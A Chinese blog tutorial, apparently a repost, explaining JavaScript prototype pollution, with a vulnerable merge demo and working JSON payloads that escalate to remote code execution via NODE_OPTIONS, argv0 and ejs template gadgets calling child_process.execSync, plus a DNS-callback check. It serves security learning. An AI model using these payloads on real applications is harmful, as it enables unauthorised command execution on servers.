首页 > 其他分享 >js原型链污染

js原型链污染

时间:2024-11-15 17:58:06浏览次数:1  
标签:__ proto process execSync js 污染 原型 key child

js原型链污染

原理介绍

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

demo:

const foo = {
    bar: 1
};
// 如果这里将foo.__proto__改掉
foo.__proto__.bar = 2
console.log(foo.bar); // 这里正常输出 1
// 新声明一个
const zoo = {};
console.log(zoo.bar); // 这里错误输出 2,因为zoo类没有这个bar属性,所以会去寻找父类object的bar属性,也就是刚刚污染的2。

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

攻击场景

其实我们主要看哪些场景会允许代码设置__proto__?主要有以下两种:

  • 对象merge
  • 对象clone
  • Node.js的construtor

一般的 merge 函数,merge操作是最常见可能控制键名的操作,也最能被原型链攻击。一个简单的例子:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

需要注意的点是:在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

这里就是循环遍历出 source 中的键名,然后判断键名是否在 source 和 target 中存在,如果都存在就再次执行 merge,不满足就给 target[key] 赋上 source[key] 的值,

第一次就是让 target 的 a 键赋值为 1,也就相当于给 object.a 赋值为 1。

然后第二次,键名就为 __proto__ 了,在 target 和 suorce 中都存在,再次执行 merge 函数

这时 key 为 b,就会给 target['b'] 赋值为 2。

怎么利用呢?参考: https://xz.aliyun.com/t/7184

Prototype Pollution to RCE

简单来说就是通过 js 的原型链污染环境变量进行 rce,

PP2RCE 通过 env 变量

__proto__

由于 node 的 child_process 库中的 normalizeSpawnArguments 函数的工作方式,当调用某些内容以便为进程设置新的 env 变量时,只需污染任何内容。例如,如果执行 __proto__.avar=“valuevar 操作,则进程将使用名为 avar 且值为 valuevar 的 var 生成。

但是,为了让 env 变量成为第一个变量,需要污染 .env 属性,并且(仅在某些方法中)该 var 将是第一个变量(允许攻击)。

这就是为什么在以下攻击中 NODE_OPTIONS 不在 .env 中的原因。
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}

constructor.prototype

{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}

PP2RCE 通过 env + cmdline

  • 它不是将 nodejs 有效载荷存储在文件 /proc/self/environ 中,而是存储在 /proc/self/cmdlineargv0 中。

  • 然后,它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ,而是 要求 /proc/self/cmdline

{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}

PP2RCE 漏洞 child_process 函数

当一个 进程被生成 使用 child_process 的某些方法(如 forkspawn 或其他)时,它调用方法 normalizeSpawnArguments,这是一个 原型污染工具,用于创建新的环境变量

具体每个函数利用参考:PP2RCE 漏洞 child_process 函数

DNS 验证

可以通过 dns 来判断是否存在漏洞

{
"__proto__": {"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=id.oastify.com"}
}

ejs 模板 rce

当存在 ejs 模板渲染的时候可以通过污染模板属性进行命令执行,

跟进会调用到 renderFile 函数,看到在 renderFile 函数最后调用了 tryHandleCache 方法

继续跟进 tryHandleCache 方法中,调用了 handleCache

handleCache 的最后又调用了 compile 方法

compile 方法中实列化了 Template,跟进看看

看到给非常多的属性进行了一个赋值

现在回到 templ.compile(); 方法中,在该方法中经历了一些复杂的赋值,最后动态命令执行的地方。

可以看到 opts.localsNamesrc 直接被拼接到了里面,但是直接污染 localsName 会报错,所以需要从 src 入手找那些变量拼接了,这里涉及到了五个变量 outputFunctionNameescape , localsNamedestructuredLocalsfilename

具体分析就跳过了,其中四个属性可以进行 rce

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
{"__proto__":{"__proto__":{"destructuredLocals":["a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"]}}}

{"__proto__":{"__proto__":{"destructuredLocals":["__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"]}}}

标签:__,proto,process,execSync,js,污染,原型,key,child
From: https://www.cnblogs.com/gaorenyusi/p/18548416

相关文章

  • pdf.js使用gulp打包,查看打包后的文档
    在pdf.js的源码中,使用了gulp进行打包,现在对部分有用的gulp方法进行说明gulpserver运行一个服务器版本,能够对源码进行调试gulpgeneric打包一个通用浏览器版本的代码,运行命令后在build/generic/web/viewer.html可以直接打开运行web程序gulpwintersmith是生成gh-pages,用来......
  • 无插件H5播放器EasyPlayer.js网页web无插件播放器选择全屏时,视频区域并没有全屏问题的
    EasyPlayer.jsH5播放器,是一款能够同时支持HTTP、HTTP-FLV、HLS(m3u8)、WS、WEBRTC、FMP4视频直播与视频点播等多种协议,支持H.264、H.265、AAC、G711A、MP3等多种音视频编码格式,支持MSE、WASM、WebCodec等多种解码方式,支持Windows、Linux、Android、iOS全平台终端的H5播放器,使用简单......
  • Nuxt.js 应用中的 schema:written 事件钩子详解
    title:Nuxt.js应用中的schema:written事件钩子详解date:2024/11/15updated:2024/11/15author:cmdragonexcerpt:schema:written钩子是Vite提供的一种生命周期钩子,在模式写入完成后调用。通过这个钩子,开发者可以在配置被正式应用之后执行一些后续操作,比如记录日志、......
  • 网页直播/点播播放器EasyPlayer.js网页web无插件播放器渲染页面出现倒挂的原因排查
    EasyPlayer.js网页web无插件播放器属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,无须安装任何插件,起播快、延迟低、兼容性强,使用非常便捷。EasyPlayer.js播放器不仅支持H.264与H.265视频编码格式,也能支持WebSocket-FLV、HTTP-FLV、HLS(m3u8)、WebRTC、ws......
  • H.265流媒体播放器EasyPlayer.js H.264/H.265播放器chrome无法访问更私有的地址是什么
    EasyPlayer.jsH5播放器,是一款能够同时支持HTTP、HTTP-FLV、HLS(m3u8)、WS、WEBRTC、FMP4视频直播与视频点播等多种协议,支持H.264、H.265、AAC、G711A、MP3等多种音视频编码格式,支持MSE、WASM、WebCodec等多种解码方式,支持Windows、Linux、Android、iOS全平台终端的H5播放器,使用简单......
  • 网页直播/点播播放器EasyPlayer.js RTSP播放器出现多路视频卡顿、内存开始飙升的原因
    EasyPlayer.jsRTSP播放器是TSINGSEE青犀流媒体组件系列中关注度较高的产品,经过多年的发展和迭代,目前已经有多个应用版本,包括RTSP版、RTMP版、Pro版以及js版,其中js版本作为网页播放器,受到了用户的广泛使用。1、问题说明在已经使用硬解码基础上,播放多路视频,会出现卡顿,内存开始飙......
  • node.js毕设网上投稿管理系统(程序+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容一、选题背景关于毕设网上投稿管理系统的研究,现有研究主要以传统的投稿管理模式为主,专门针对毕设网上投稿管理这一特定情境的研究较少。目前的投稿管理多集中于一般......
  • node.js毕设师生科研信息管理系统(程序+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容一、选题背景关于毕设师生科研信息管理系统的研究,现有研究主要以教师科研信息管理、学生科研信息管理等独立模块为主,专门针对毕设师生科研信息一体化管理的研究较少......
  • 基于springboot+vue.js+uniapp小程序的企业oa管理系统附带文章源码部署视频讲解等
    文章目录前言详细视频演示具体实现截图核心技术介绍![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/940ba4f56a0645c8a8a27b4421e7a3a5.png)后端框架SpringBoot前端框架Vue持久层框架MyBaits为什么选择我代码参考数据库参考测试用例参考源码获取前言......
  • 如何手写实现 JSON Parser
    JSON.parse是我们在前端开发中经常会用到API,如果我们要自己实现一个JSON.parse,我们应该怎么实现呢?今天我们就试着手写一个JSONParser,了解下其内部实现原理。JSON语法JSON是一种语法,用来序列化对象、数组、数值、字符串、布尔值和null。语法规则如下:数据使用名/值对表示。......